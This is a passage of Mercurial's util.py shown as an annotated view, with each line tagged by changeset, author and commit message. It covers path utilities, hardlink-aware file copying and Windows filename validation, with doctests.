c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1849 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1850 return os.path.join(root, localpath(n2))
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1851 n2 = b'/'.join((pconvert(root), n2))
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1852 a, b = splitpath(n1), n2.split(b'/')
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1853 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1854 b.reverse()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1855 while a and b and a[-1] == b[-1]:
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1856 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1857 b.pop()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1858 b.reverse()
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1859 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1860
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1861
44436
09f3e003fc2a phabricator: avoid a stacktrace when command arguments are missing
Matt Harbison <matt_harbison@yahoo.com>
parents: 44060
diff changeset
1862 def checksignature(func, depth=1):
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1863 '''wrap a function with code to check for calling errors'''
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1864
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1865 def check(*args, **kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1866 try:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1867 return func(*args, **kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1868 except TypeError:
44436
09f3e003fc2a phabricator: avoid a stacktrace when command arguments are missing
Matt Harbison <matt_harbison@yahoo.com>
parents: 44060
diff changeset
1869 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
7646
e62a456b8dc5 error: move SignatureError
Matt Mackall <mpm@selenic.com>
parents: 7644
diff changeset
1870 raise error.SignatureError
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1871 raise
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1872
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1873 return check
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1874
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1875
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1876 # a whilelist of known filesystems where hardlink works reliably
32291
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32290
diff changeset
1877 _hardlinkfswhitelist = {
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1878 b'apfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1879 b'btrfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1880 b'ext2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1881 b'ext3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1882 b'ext4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1883 b'hfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1884 b'jfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1885 b'NTFS',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1886 b'reiserfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1887 b'tmpfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1888 b'ufs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1889 b'xfs',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1890 b'zfs',
32291
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32290
diff changeset
1891 }
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1892
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1893
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1894 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1895 """copy a file, preserving mode and optionally other stat info like
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1896 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1897
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1898 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1899 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1900 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1901
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1902 copystat and checkambig should be exclusive.
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
1903 """
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1904 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1905 oldstat = None
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
1906 if os.path.lexists(dest):
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1907 if checkambig:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
1908 oldstat = checkambig and filestat.frompath(dest)
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
1909 unlink(dest)
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1910 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1911 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1912 # unless we are confident that dest is on a whitelisted filesystem.
31678
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1913 try:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1914 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1915 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
1916 fstype = None
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1917 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
1918 hardlink = False
31577
e7a02e9ad162 util: enable hardlink for copyfile
Jun Wu <quark@fb.com>
parents: 31575
diff changeset
1919 if hardlink:
23899
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1920 try:
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1921 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1922 return
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1923 except (IOError, OSError):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1924 pass # fall back to normal copy
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1925 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1926 os.symlink(os.readlink(src), dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1927 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1928 # for them anyway
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1929 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1930 try:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1931 shutil.copyfile(src, dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1932 if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1933 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1934 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1935 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1936 shutil.copymode(src, dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1937 if oldstat and oldstat.stat:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
1938 newstat = filestat.frompath(dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1939 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1940 # stat of copied file is ambiguous to original one
36781
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
1941 advanced = (
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1942 oldstat.stat[stat.ST_MTIME] + 1
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1943 ) & 0x7FFFFFFF
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1944 os.utime(dest, (advanced, advanced))
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1945 except shutil.Error as inst:
43724
5be128f669d4 util: convert an exception to bytes when passing to Abort()
Matt Harbison <matt_harbison@yahoo.com>
parents: 43117
diff changeset
1946 raise error.Abort(stringutil.forcebytestr(inst))
3629
4cfb72bcb978 util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents: 3568
diff changeset
1947
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1948
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1949 def copyfiles(src, dst, hardlink=None, progress=None):
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1950 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1951 num = 0
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1952
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1953 def settopic():
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1954 if progress:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1955 progress.topic = _(b'linking') if hardlink else _(b'copying')
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
1956
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1957 if os.path.isdir(src):
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1958 if hardlink is None:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1959 hardlink = (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1960 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1961 )
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1962 settopic()
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1963 os.mkdir(dst)
32208
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32201
diff changeset
1964 for name, kind in listdir(src):
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1965 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1966 dstname = os.path.join(dst, name)
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1967 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1968 num += n
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1969 else:
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1970 if hardlink is None:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1971 hardlink = (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1972 os.stat(os.path.dirname(src)).st_dev
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1973 == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1974 )
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1975 settopic()
31719
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31718
diff changeset
1976
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1977 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1978 try:
14235
b9e1b041744f rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents: 14234
diff changeset
1979 oslink(src, dst)
2050
e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2026
diff changeset
1980 except (IOError, OSError):
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1981 hardlink = False
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
1982 shutil.copy(src, dst)
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1983 else:
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
1984 shutil.copy(src, dst)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1985 num += 1
38380
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1986 if progress:
63e6f5ae84bc copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents: 38314
diff changeset
1987 progress.increment()
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
1988
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1989 return hardlink, num
11254
640d419725d0 util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents: 11010
diff changeset
1990
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1991
34052
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
1992 _winreservednames = {
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1993 b'con',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1994 b'prn',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1995 b'aux',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1996 b'nul',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1997 b'com1',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1998 b'com2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1999 b'com3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2000 b'com4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2001 b'com5',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2002 b'com6',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2003 b'com7',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2004 b'com8',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2005 b'com9',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2006 b'lpt1',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2007 b'lpt2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2008 b'lpt3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2009 b'lpt4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2010 b'lpt5',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2011 b'lpt6',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2012 b'lpt7',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2013 b'lpt8',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2014 b'lpt9',
34052
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34002
diff changeset
2015 }
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2016 _winreservedchars = b':*?"<>|'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2017
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2018
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2019 def checkwinfilename(path):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2020 r"""Check that the base-relative path is a valid filename on Windows.
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2021 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2022
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2023 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2024 >>> checkwinfilename(b"foo/bar/con.xml")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2025 "filename contains 'con', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2026 >>> checkwinfilename(b"foo/con.xml/bar")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2027 "filename contains 'con', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2028 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2029 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2030 "filename contains 'AUX', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2031 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2032 "filename contains ':', which is reserved on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2033 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
2034 "filename contains '\\x07', which is invalid on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2035 >>> checkwinfilename(b"foo/bar/bla ")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
2036 "filename ends with ' ', which is not allowed on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2037 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2038 >>> checkwinfilename(b"foo\\")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
2039 "filename ends with '\\', which is invalid on Windows"
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
2040 >>> checkwinfilename(b"foo\\/bar")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
2041 "directory name ends with '\\', which is invalid on Windows"
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2042 """
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2043 if path.endswith(b'\\'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2044 return _(b"filename ends with '\\', which is invalid on Windows")
